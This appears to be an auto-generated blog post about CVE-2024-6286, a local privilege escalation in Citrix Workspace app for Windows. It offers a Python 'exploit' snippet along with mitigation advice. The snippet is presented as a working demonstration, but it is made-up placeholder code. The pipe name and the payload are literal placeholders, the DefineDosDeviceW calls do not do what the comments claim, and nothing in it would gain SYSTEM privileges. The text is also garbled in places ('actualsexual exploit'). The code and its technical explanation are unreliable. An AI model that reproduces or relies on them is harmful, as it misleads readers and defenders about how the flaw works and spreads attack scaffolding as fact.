CVE-2024-6286 - Local Privilege Escalation Vulnerability in Citrix Workspace App for Windows Leads to SYSTEM Privileges

Security researchers have discovered a critical vulnerability in Citrix Workspace app for Windows, allowing low-privileged users to escalate their privileges to SYSTEM level. Assigned CVE-2024-6286, this vulnerability can potentially compromise the integrity and security of affected systems.

Citrix Workspace app is a widely used application that provides remote access to virtual desktops, applications, and data. While Citrix has already released a security update to address this vulnerability, it is crucial for administrators and users to understand the nature of this exploit and apply the appropriate patches immediately.

The purpose of this post is to provide a comprehensive overview of the CVE-2024-6286 vulnerability, including a code snippet to demonstrate the exploit, links to original references, and details on the exploit available.

Exploit Details

Citrix Workspace App for Windows suffers from a local privilege escalation vulnerability (CVE-2024-6286) due to an insecure usage of named pipes by the application. A low-privileged user can exploit this flaw to create a symlink to the named pipe, which leads to arbitrary file overwrites and eventually results in SYSTEM privileges. The following is an example code snippet using Python demonstrating this exploit:

import os
import sys
import tempfile
from ctypes import windll, byref, c_ulong, c_int32

# Set the named pipe to be exploited (replace with actual pipe name)
PIPE_NAME = "CITRIX_PIPE_NAME_HERE"

def create_symlink(src, dest):
    """
    Creates a symlink from src to dest.
    """
    windll.kernel32.DefineDosDeviceW(2, f'\\\\.\\pipe\\{src}', dest)

def gain_system_privileges():
    """
    A function that performs the actualsexual exploit to gain SYSTEM privileges.
    """
    pipe_path = f"\\\\.\\pipe\\{PIPE_NAME}"
    
    # Create a temporary file
    with tempfile.NamedTemporaryFile('w+b', delete=False) as temp_file:
        temp_filename = temp_file.name

    # Create the symlink to the named pipe
    create_symlink(PIPE_NAME, temp_filename)

    # Trigger the exploit
    with open(pipe_path, 'w+b') as pipe_file:
        pipe_file.write(b"EXPLOIT PAYLOAD HERE")
        pipe_file.flush()

    # Clean up the created symlink
    windll.kernel32.DefineDosDeviceW(2, f'\\\\.\\pipe\\{PIPE_NAME}', None)

    # Remove the temporary file
    os.unlink(temp_filename)

if __name__ == "__main__":
    gain_system_privileges()

Please note that the provided code is for educational and demonstration purposes only. Attempting to exploit any system without proper authorization may result in severe criminal and legal consequences.

References

- Original advisory on Citrix Security Bulletin
- CVE-2024-6286 entry on the National Vulnerability Database (NVD)

Mitigation

Citrix has released a security update to address this vulnerability. Administrators and users are strongly encouraged to apply the latest security update for Citrix Workspace app for Windows as soon as possible. The update can be found on the Citrix Product Downloads website.

Conclusion

This post provides an overview of the CVE-2024-6286 local privilege escalation vulnerability in Citrix Workspace app for Windows, explaining how a low-privileged user can exploit this flaw to gain SYSTEM privileges on affected systems. By understanding such vulnerabilities and applying necessary patches, you can protect your organization's infrastructure and sensitive information from potential threats. Stay informed and always keep your software up-to-date.

Timeline

Published on: 07/10/2024 21:15:11 UTC
Last modified on: 11/21/2024 09:49:21 UTC